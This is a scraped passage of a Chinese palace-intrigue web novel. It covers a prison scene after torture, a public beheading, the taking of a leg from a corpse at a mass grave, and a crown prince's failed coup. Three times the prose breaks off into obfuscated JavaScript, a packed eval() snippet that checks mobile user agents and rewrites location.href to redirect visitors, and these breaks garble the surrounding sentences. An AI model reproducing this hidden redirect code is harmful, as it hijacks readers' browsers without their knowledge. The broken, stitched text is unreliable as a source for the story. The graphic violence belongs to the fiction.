关押周洪的牢狱是在最外间,每个牢狱之中都隔着很长一道弯弯曲曲的长廊,最是隔音,便是在其中一间牢狱里鬼哭狼嚎,其余的人也不会听见半分响动。 这是一早,裴渡舟便告知江令薇的事情。 长长的甬道里,两个人的影子错落在一处,颀长与瘦削,亲密无间地交缠在一起。 回去的时候,江令薇鬼使神差地看了眼被裴渡舟随意丢弃在角落里的血淋淋的舌头,视线上移,经历了这场酷刑的李德已经气息奄奄,死狗似的倒在一边,与他相邻的周洪倒是还醒着,只是喉咙一直发出嗬嗬的声响,像是被剧痛逼得窒息,但在快要晕过去的前一刻,又被好善的空气进入,得以喘息,然后就此循环,痛不欲生。 “他们好看吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14974435|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >微冷的语气,江令薇立刻收回视线,讪讪摇头,“这个……迷恋伤残,我目前没有这个癖好……” “目前?”裴渡舟冷笑着重复了一遍,没有接着往下说,但其中的不渝她自然听得出来。 若是往常,面对他这么揪字眼,多少会有些不耐,但刚经历过那样的场面,一向来得勤的不快没有出现,反倒是心有余悸。 “以后应该也不会有。”她悻悻作答。 “瞧你脸色白的,又怕我了?傻孩子,就算真的喜欢什么我还会拦着你不成。”他回答。面如冠玉的脸上勾勒着清浅的笑,倒真像个开明善解人意的高洁君子。如果忽略眼底的阴鸷的话。 江令薇不傻,怎会听不出来他的阴阳怪气,何况按他这三个时辰一计较,五个时辰一冷脸的速度,她要是真的信了,他一定会立刻变脸。 “没、没有,你老是胡说八道,我、我被你逼得都不会说话了,别这样吧,渡舟哥哥……”她实在是怕了,一言不合就和她生气,她每天什么事都不用做,一睁开眼就是哄人。 他要是个哑巴就好了。 “那是谁的问题?”他眉眼含着嗔怪,瞪了她一眼。 “天知道……”她一时嘴快,反应过来后,顶着令人头皮发麻的冷漠眸光,忙不迭补充道:“应该是我的、不,必定是我的……” 耳畔传来一道轻笑,她抬头,对上他那双朗星般的眸子,眸光流转间,皆是动人的情愫。 果然,他还是当哑巴好。她一边学着他的样子努力扬唇,一边默默地想着。 两人的身影行走在昏暗的诏狱中,不一会儿便没了踪影。 …… 快至午时,刑场。 被换了身干净衣裳的周洪在百姓们或快意或仇怨的眼神下,由皇城司的人押送至刑场。 今日难得没下雨,天边万里无云。不过而今已经快进入深冬,连空气都是凉飕飕的,按照以往,如非必要,京师中的多数百姓是不会出门的。 但眼下不同,京中受过周洪欺压的百姓数不胜数,自朝暮节那一日的圣旨降下之后,所有人先是不可置信,再到欣喜若狂,然后演变成今天的望眼欲穿。 试问,谁不想看到曾经欺压过自己的恶人被绳之以法。 无人不想。 也因此,刑场周边围满了百姓,全都搓着手翘首以盼。 监斩官观察着天色,在午时已至后,小心地询问着一旁负责押送周洪尸体的皇城司一行人。 周围除了明面上的十来位皇城司的人除外,还有隐秘在暗处的龙武军。 之所以这么快问斩周洪,诚然如江令薇所想,是皇帝为了尽快扳倒周家势力,在引蛇出洞。 只可惜,按如今的情形来看,周家已然放弃了周洪。 皇城司的人朝监斩官点头,随着一声令下,手脚由绳索捆住仍在拼命挣扎的周洪,被人强行提溜着脑袋,用力地按在铡刀下。 嚓—— 铡刀溅血,人头落地。 一只眼睛瞪得极大的脑袋骨碌碌滚至人群中,短暂的惊叫过后,唾沫声四起。 40.第 40 章 京郊一处偏僻的山谷,白骨遍地,蠹蛆横生。 赫然是乱葬岗。 纪陆和罗玄一人站岗,一人走进残肢烂骨中,精准寻觅到周洪尚在淌血的尸体,反手抽出背后的大刀,蹲下身来开始割腿。 本来江令薇是准备亲自来的,但被裴渡舟冷着脸盯了一会儿后,只好打消这个想法,换成让他的人来做。 两人行动迅速,不大一会儿便带着一个长条状的厚实的黑木盒蹿入山林中,走小道回府。 青天下的乱葬岗,面目瘆人、四分五裂的尸体歪七扭八地躺着,大风一吹,聚在一起的虫豸嗡嗡四散,待风过,又迫切地爬过去,啃食血肉。 周围草木长势极好,几簇杂草之下,隐约可见两张鼓睛暴眼的青灰色脸孔。 是宫闱中的仆役。 看起来,像是死了十几日了。 …… 笃笃—— 门从里开了。 面色苍白的少隐看着递过来的黑木盒,睫毛颤动几下,似是想说些什么,但终究什么也说不出,抖着手从记陆两人手中接过黑木盒,转身就要关门。 记陆突然上前扣住门扉,开口道:“你不想问问殿下她说了什么吗?” 黑木盒上的手指紧了紧,然而还是强撑着否认:“殿下有什么吩咐,自有你们去做。” 记陆不置可否,看着少隐憔悴的模样,劝道:“你早这么想才对,莫说有主子在,便是没有,你二人也是万万不相配的,公主哪有配侍卫的道理。” 少隐勉强扯了扯唇,“我知道。”随即,门扉上的手被他毫不客气地掰开,“没什么事我要休息了,请便。” “可我没说完,少隐大人,还当自己是从前吗?”记陆在“大人”二字上格外加重了语气。 少隐掀开眼皮,面无表情地盯着纪陆看了半晌,“哦?那不知您还有什么要交代的。” 一旁的罗玄感受着这令人压抑的氛围,心中直冒苦水,自己这个异父异母的结拜大哥也真是的,劝人哪是这样劝的啊…… “交代不敢当,只是我想提醒你,北州慕容氏两兄弟对你可是十分厌恶,当初你母亲死后,你在皇城司的一次林间试炼中杀红了眼,差点让慕容正的弟弟死于刀下,要不是主子和李疏来的及时,你以为爱弟如命的慕容正能放过你吗?” “就这个吗?”少隐唇角牵起一抹嗤笑的弧度,“那让他来找我寻仇好了。不管是京师,还是北州,他慕容正难道真有杀我的能力不成?” 纪陆一噎,因为他说的是事实。再开口时语气到底是缓和了下来,语重心长道:“你武艺再好,也只有一人,他手底下管着训着几千人,要针对你,给你穿小鞋是再简单不过的事。明枪是易躲,他要是玩阴的,你确定自己能招架的住?” 记陆说这话是真心为少隐着想,他武功好,曾不止一次救自己和罗玄于水火。若是旁人,记陆才懒得嘱咐这些。 “我等着。”说完,少隐哗的一声关上门。 “我还没说完,你等等——” 记陆捂着差点被夹到的额头,眉头皱成一团。罗玄刚想劝劝他语气好一点,说不定少隐还能听他说几句,毕竟少隐性子一向挺冷的。 然而还未出口,就见记陆鬼鬼祟祟地觑了四周一眼,也不管里面的人能不能听到,趴到门上低声道:“慕容的弟弟慕容叙早些日子也来了京都,依主子的令,通过玄武将军的那个小侄子,设了一场苦肉计,成功混进了龙武军,不出所料日后会一直待在京都。 到时免不得回府拜见,见了你这幅模样,必定是要狠狠奚落挤兑你,你如今又不得主子看重,他那个人最是刻薄,当面一套背后一套,你要做好心理准备,有什么事记得托人来找我们俩,别一个人撑着。” “凭一个慕容叙?”里头传来轻笑,是不屑的意思。“没事就请离开,让人看到了不好。” 记陆劝也劝了,口水都要说干了,见少隐不以为意,心中无奈,只好作罢。 屋里。 少隐扭开手中的瓷瓶,倒出几颗黑色丹丸,就着茶水吞下。刚从李疏那里拿的胸闷新药不过短短几日又见了底。 眉眼低垂,装有周洪腿的黑木盒静静地待在桌案上。 他看着看着,视野变得模糊,渐渐出了神。 …… 白驹过隙,几日的时间倏忽而过。 期间,江令薇在裴渡舟地殷殷叮嘱下,连府门都不曾踏出一步。每天就是独自在书房完成他布置的课业,到了傍晚,便和在丞相府处理了一天周家事务回来的他用膳,或是和衣而眠,或是鱼水相欢,到第二日,复又如此。 日子仿佛又回到了前两年,那时候,他们也是如此,除了漠北的三个月,他们从没分开过一天,说是如胶似漆也不为过。 当然,江令薇也没有说不的权利。 …… 京中格局在这几日下已经渐渐分明。除了天天上奏义愤填膺骂太子的舒祭酒等清流,其余官吏或是焦虑不安,或是事不关己高高挂起,或是像江令薇那般,连门也不出了,能在府邸处理的政事都尽量不出去。 谁都清楚,眼下还算安定的京都太平不了几日了。 周洪李德已死,太子党羽行过的恶事在刑部与大理寺不眠不休的调查下,逐渐浮出水面。 原来凌弱暴寡,欺压百姓仅仅只是最不值一提的存在,暗中不知贪污吞并了多少良民小官的银钱田产,更不要提还有和各府州将领私下的勾结。一封封罪证被送进御书房,每天在御书房侍候的宫人天天压着心底惊惧,进去收拾碎裂的茶盏念珠。 被幽禁于咸宁宫的太子也是一样,宫人行走间,经常听到里面有摔东西的响动。但同样待遇的七公主倒是一直很安分,负责送膳食的太监经常看见七公主在里面安静地誊抄经书,对外事不闻不问。 …… 季冬初六,天大寒。 日落月升,暮鼓声响,街巷人影绝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14977036|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一个太监模样的年轻男人行色匆匆地从咸宁宫朝御书房的方向跑去,行走间衣袂翻飞,手里拿着一封信笺,神情忐忑不安。 刚跑到御书房外,迎面便被太监总管福来厉声喝道:“宫闱重地,你还有没有规矩!” 小太监吓得两股战战,还未说上一句话,手里拿着的信笺便被福来扯了去,浑浊的双眼看了信笺几息,忽然走进御书房中,留下小太监一人在原地,身上猛然间起了大片鸡皮疙瘩,如果他没看错的话,总管的表情好像并不惊讶,反而是终于等到了的意味。 他不过是一个每日给太子和七公主送膳食的小太监,平常除了被太子经常毫无缘由地叱骂,和前些日子替七公主送过一本祈福的经书到御书房之外,倒还算相安无事。 谁料今日,向来高高在上的太子殿下忽然变了神态,通红着双眼,把身上所有金银饰物丢给他,要他看在这些金银的份上,替他给陛下传个话,事关民生。 他平素最好说话,否则也不会得了这么个“好活计”。但太子话说得太高了,事关民生的事情和送经书可不一样,他本来不敢答应,然而太子神情十分恳切,况且那金银实在迷人眼,一时冲动直接应下。 然而到此刻,他已是万分后悔,恨不得把怀中揣着的银票通通还给太子。 有些钱,有命拿没命花。 …… 御书房。 皇帝跪坐在隔间的蒲团上,福来弓着腰低声念出信笺的内容。 “小五和小十勾结朝臣,欲谋逆反叛,孤这个好儿子,真是敢写啊。”皇帝面色冷沉,语气之中没有一丝温度。 福来把信放于一边,恭敬地回应着:“二殿下果然不出陛下所料,几日的功夫便已按捺不住。” 自从太子被废,宫中无人再敢于明面上称其为太子。 “和他母妃一样,野心甚大。”皇帝从蒲团上起身,瞥了眼案台,福来立刻会意,打开抽屉,里面赫然摆着一本字迹行云流水的经书,只是这本经书和其余的不同,乃是以血为墨,墨渍渗透了宣纸边缘,远远看去,触目惊心一片红色。 皇帝翻开经书,里面前半部分都是恳切的请罪词,后半部分是经书。 皇帝叹息般地道:“两人相比之下,后者怎么这么蠢呢,还是孤的儿子。” 福来心知肚明皇帝说的是太子,那本血书是前几日七公主所写,说是经书,一打开却通篇在请罪。 言辞诚挚,把所有错处全推脱掉,只是因为兄妹情谊,才处处为太子说话,却万万没想到太子竟然背着她做下这么多触目惊心的恶事,说自己本没有脸面认错,全都是活该,然而一日前太子忽然给她传话,意在谋反,身为人子与皇子,怎可看着父亲身处水深火热,百姓受苦,这才有此一举。 “也罢,既然口口声声指控要谋反,那就把小五和小十、还有所有封了郡王的孩子全叫进宫来,包括小七和孤的这蠢儿子。” “领陛下钧旨。” 41.第 41 章 五皇子府。 得知消息的五皇子心中一凛,面上却不动声色,借口才练功归来,需得换上身得体的衣服才好进宫面见父皇。 传旨的太监不知皇宫里发生了何事,只知道陛下急诏几位郡王进宫,闻言道:“殿下还请稍微快些,陛下实在等着见您。” 五皇子微笑着应下,又让府中管事好好招待传旨太监,转身回房的刹那,笑容消失无踪。 近侍曲同也一起跟进来,一边替五皇子穿衣,一边乐呵呵地奉承道:“定是陛下想念殿下,才特意传旨让您进宫呢,陛下可真是看重殿下您。” 才听闻消息推门赶来的近侍寒飞不着痕迹地剜了眼曲同,没廉耻的下流东西,又趁他不在讨殿下欢心!心下思绪不提,寒飞也不甘落后,一边接过五皇子换下的旧衣,一边铆足了劲道:“曲同这话说得不对,依属下看啊,定是殿下最近差事办得好,圣心嘉悦,要当众嘉赏您呢。” 五皇子面色沉沉,听到二人说这话,目露讥诮,“你们二人的脑袋长得着实别致啊。” 二人登时闭了嘴,呐呐不敢多言。 “去把我卧房中那件护身软甲取来,今日没了它,你们就准备好给你们殿下我陪葬。” 二人立刻吓得面色煞白,忙不迭冲进卧房,天晓得他们只是爱势贪财了一点点,五皇子素日里最喜欢听他们说好话、奉承,没想到眼下竟然是这般紧急的事情。 他们可不想死啊…… 离去前一刻,五皇子面色如常地把一柄匕首塞进厚底皂靴里,按照常理,面圣前需搜身,只是现在,他猜,怕是要等事情尘埃落定之后才能见到他的好父皇了。毕竟,萧朝还有周家这个祸害没彻底除掉。 黄昏急诏,传所有封王开府的皇子进宫。 嘉赏……呵,要命还差不多。 “你们两个给我记住,若是一个时辰过后我还没回来,立刻去朱雀街找裴丞相,敢阳奉阴违的话,后半辈子就只能在诏狱渡过。” 二人赶忙应下,他们心里清楚,五皇子待会必定还会对府中信赖的管事护卫下一样的命令,他们两个能成为贴身近侍,全靠着一张会讨好人的嘴。 谁能想到,众人面前沉稳可靠的五皇子,私底下和太子某些做派别无二致,喜奉承,逐权势。 …… 因为江令薇的公主府远在长安街最南边,五皇子都启程进宫了,给她传旨的太监还在路上奔波。 空无一人的宽敞大街上,传旨太监骑着马往长安街南边疾驰而去。 然而,临近街巷转角处,他恍惚间听见一阵窸窸窣窣的响动,像是衣服料子的摩擦声,又像是靴子踩到地面发出的嗒嗒声。 传旨太监绕过转角,看清后,瞳孔骤缩。 原来什么也不是,是催命的声音。 传旨太监双手颤抖着忙调转马头往皇宫的方向狂奔。 在不远处的十公主府,一大批身着黑衣的蒙面人手持刀剑把府邸四周团团围住,正中间,立着一位面容端方的年轻男人,赫然是周家下一任家主——周皓。 …… 因着是在御书房当值的太监,传旨太监不用像其余人一样,从皇宫侧门或是正门含天门进去,而是直接抄了小道飞奔进宫。那模样,活像身后有什么恶鬼在追,给其开门的一个监门卫望着前方的背影,暗自纳闷。 传旨太监跌跌撞撞地进了御书房,心有余悸地将刚才发生的一切全部回禀给了皇帝。 “小五呢?”皇帝问。 刚从外回来的福来闻言恭敬地道:“五殿下府邸离宫中近,此刻已经到了西南边的含章门。至于四殿下,传旨太监来禀说是又病了,多日水米未进。” “又病了?一有什么事就得病,月底的围猎,孤倒要看看他是病还是好。”皇帝端起案上茶啜了一口,语气冰冷。不知想到什么,又悠悠叹息,“只针对小十,看来是迁怒啊。” 福来挥退其余宫人,上前为皇帝轻柔地捏着肩,低声道:“周家气量小,此举许是为周二公子报仇,又或是……” 福来小心地斟酌着词句,“或是二殿下强逼周家主这么做,把一切罪责归结到十殿下身上。” 毕竟,周家事发从明面上来看,跟江令薇脱不了关系。 “别提那个蠢东西。”皇帝厌恶地皱了皱眉。 “是、是……”福来讪笑着应下,一边观察着皇帝的脸色,一边道:“十殿下武艺出众,奴才听闻,朝暮节那天,因着呈给陛下您的念珠被毁坏,十殿下表现得像是要杀了周家长房那一脉人,如今看来正是一个好时机,殿下孝顺,定会为了陛下您好好出口恶气。” 皇帝面上总算有了点淡淡的笑容,悠悠道:“年纪轻轻,也是难为她有心。不过公主府的那些侍卫是万万敌不过府州的精兵悍将,就她一人,如何打得过,必定会受许多苦。传孤旨意,从龙武军中调一些人出来去小十的府邸。” “奴才遵旨。”福来朝殿门外的太监使了个眼色,示意其去办。 “含章门的禁军都埋伏好了?”皇帝淡淡道。 福来称是,“按陛下之前的吩咐,左右神武军、龙武军都已准备万全。也恰如陛下您所料,只有与周家沾亲带故的两州将领带着部分人马暗中来了京都,于昨日酉时含章门守卫轮班的空隙,悄悄潜伏在四周,藏身的方位都已被禁军知晓,只待太子发动兵变,再趁势捉拿。 另外,宫中也潜进了不少人马,全都围聚在养心殿这些陛下您常去的地方。此刻御书房外面,正藏着不少人,全都虎视眈眈。” “之前撬出的口供里不是还说收买了六州将领,孤的这个蠢儿子,还真是经常给孤惊喜,连如今是怎样的事态都看不清,自己都快要沦为阶下囚,哪有人肯遵守之前的诺言,还以为自己仍是那个高高在上的太子殿下吗。和他那个不知轻重的母妃一样,失心疯了。”皇帝开口,那双圆眼里是深深的讽刺。 福来为皇帝捏肩的力道闻言放得更加轻,眼观鼻鼻观心,不敢接话。 再得厌恨,也终究是皇子,不是他们这些人能过多置喙的。 …… 含章门长长的甬道里,五皇子刚进入其中,身后的大门便轰然一声,被大力关上,前方远处的深红色大门瞧轮廓,也是紧闭着的。 “五弟,许久不见啊。”太子得意的声音自上首的城墙处响起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14981269|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自皇帝下旨召所有皇子进宫那刻,太子和七公主便被允许踏出宫门,两人相伴到了御书房,太子借口看望被幽禁的皇后,先行离去,后脚七公主也借口看望母妃,和在外面等着她的太子汇合。 只是,都是看望母亲的托词,七公主却无端说得久了些。如今也借着为太子把守甬道里另一侧门的理由,带着一小支人马没了踪影。 然而这一切的异样,并不被太子所注意,或者说,到了这种地步,谁又会怀疑一个从小就对自己奉承到如今的人呢。 倒是有不放心七公主行为的将领出言提醒,然而换来的却是太子狠狠的一巴掌,直言瞎了眼。 但即便如此,那将领还是据理力争,丝毫不退。身家性命全维系于此间事,万万不可大意,况且周家主临行前还特意嘱咐他要看好太子。 太子最是好面子,之前为了让皇帝见到那封信笺,抛却尊严低三下四地给一个阉人行恳求之举,心里不知道有多么嫉恨,将领的举动无异于在打太子的脸。 不过思及当下处境,之前周皓又在信里多次提醒他要忍耐,好不容易才忍住一刀了结将领的冲动,皮笑肉不笑地让人去跟着七公主,事情这才作罢。 往事暂且不提。 五皇子不动声色地观察着四周高大的城墙,心中有了计较。但面上不显,笑着开口:“二哥瘦了。” 太子也扯唇一笑,双手却取过身旁将领的弓箭,搭弦开弓,箭矢对准五皇子。“那就用你的鲜血给二哥补补吧,我的好弟弟。” 愉悦的声音和箭矢离弓的响动同时传来。 嗖—— 同一刹那,身旁将领也立刻点燃手中信号弹,远在深宫的人马立刻接收到行动的命令,兵分几路快速地在暗处潜行,朝着皇帝所在的宫殿而去。 五皇子身手还算不错,在箭矢射来的须臾间便已闪身躲避。“二哥!我是你亲弟弟,你难道要谋反不成?!”他出声怒斥。 有些话虽然心知肚明,但不能烂在肚子里,一定要在所有人的见证下说出口。 果不其然,几乎是话落的下一刻,靠近深宫的城墙处忽然出现龙武军的身形,玄武将军立在万名军士身前,神态沉稳,“二殿下,您不是要去见皇后娘娘吗?对五殿下动手是意欲何为?” 太子看着大批禁军的身影,脸色变得有些扭曲,他冷笑道:“我道是谁,一个踩着兄长上位的老虔婆。众将士听令,这里的人一个不留,全杀光。” “是!”候在太子身边的人马登时抽出刀剑,一部分人催动轻功,越至另一侧城墙。另一部分人跳下城墙,准备诛杀五皇子。 玄武将军面色不变,一声令下,训练有素的龙武军也纷纷握着弯刀迎了上去,深红色大门蓦地朝里打开,埋伏多时的神武军倾巢而出,几息的功夫,便与反叛的府州人马厮杀在了一起。 含章门中,杀声震天。 “二哥!我来助你。” 许久不见踪影的七公主忽然出现。 太子闻言,正欲让七公主和他一同下城墙,冲入宫中诛杀所有阻碍他们的人。 话还在喉咙中,身体就蓦然被一股大力踹下高耸的城墙。